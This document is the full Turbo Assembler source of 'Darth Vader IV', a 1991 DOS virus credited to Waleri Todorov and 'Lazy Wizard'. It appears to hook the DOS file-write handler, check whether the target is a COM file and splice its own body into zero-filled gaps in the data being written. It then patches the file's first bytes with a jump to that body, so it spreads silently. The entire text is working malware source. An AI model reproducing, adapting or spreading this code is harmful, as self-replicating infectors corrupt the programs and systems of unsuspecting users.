;*******************************************************************************
;*									       *
;*			      D A R T H   V A D E R   IV		       *
;*									       *
;*	(C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia		       *
;*	All Rights Reserved						       *
;*                                                                             *
;*      Enchanced by: Lazy Wizard                                              *
;*                                                                             *
;*      Turbo Assembler 2.0                                                    *
;*                                                                             *
;*******************************************************************************


		.model	tiny
		.code

		org	100h

Start:
		call	NextLine
First3:
		int	20h
		int	3
NextLine:
		pop	bx
		push	ax
		xor	di,di
		mov	es,di
		mov	es,es:[2Bh*4+2]
		mov	cx,1000h
		call	SearchZero
		jc	ReturnControl
		xchg	ax,si
		inc	si
SearchTable:
		dec	si
		db	26h
		lodsw
		cmp	ax,8B2Eh
		jne	SearchTable
		db	26h
		lodsb
		cmp	al,75h
		je	ReturnControl
		cmp	al,9Fh
		jne	SearchTable
		mov	si,es:[si]
		mov	cx,LastByte-Start
		lea	ax,[di+Handle-Start]
		org	$-1
		xchg	ax,es:[si+80h]
		sub	ax,di
		sub	ax,cx
		mov	[bx+OldWrite-Start-2],ax
		mov	word ptr [bx+NewStart+1-Start-3],di
		lea	si,[bx-3]
		rep	movsb
ReturnControl:
		pop	ax
		push	ss
		pop	es
		mov	di,100h
		lea	si,[bx+First3-Start-3]
		push	di
		movsw
		movsb
		ret
SearchZero:
		xor	ax,ax
		inc	di
		push	cx
		push	di
                mov     cx,[LastByte-Start-1]/2+1
		repe	scasw
		pop	di
		pop	cx
		je	FoundPlace
		loop	SearchZero
		stc
FoundPlace:
		ret
Handle:
		push	bp
		call	NextHandle
NextHandle:
		pop	bp
		push	es
		push	ax
		push	bx
		push	cx
		push	si
		push	di
		test	ch,ch
		je	Do
		mov	ax,1220h
		int	2Fh
		mov	bl,es:[di]
		mov	ax,1216h
		int	2Fh
		cmp	es:[di+29h],'MO'
		jne	Do
		cmp	word ptr es:[di+15h],0
		jne	Do
		push	ds
		pop	es
		mov	di,dx
		mov	ax,[di]
		mov	[bp+First3-NextHandle],ax
		mov	al,[di+2]
		mov	[bp+First3+2-NextHandle],al
		call	SearchZero
		jc	Do
		push	di
NewStart:
		mov	si,0
                mov     cx,[LastByte-Start-1]/2
		cli
		rep
		db	36h
		movsw
		sti
		mov	di,dx
		mov	al,0E9h
		stosb
		pop	ax
		sub	ax,di
		dec	ax
		dec	ax
		stosw
Do:
		pop	di
		pop	si
		pop	cx
		pop	bx
		pop	ax
		pop	es
		pop	bp
OldWrite:
		jmp	start

LastByte        label   byte

		end	Start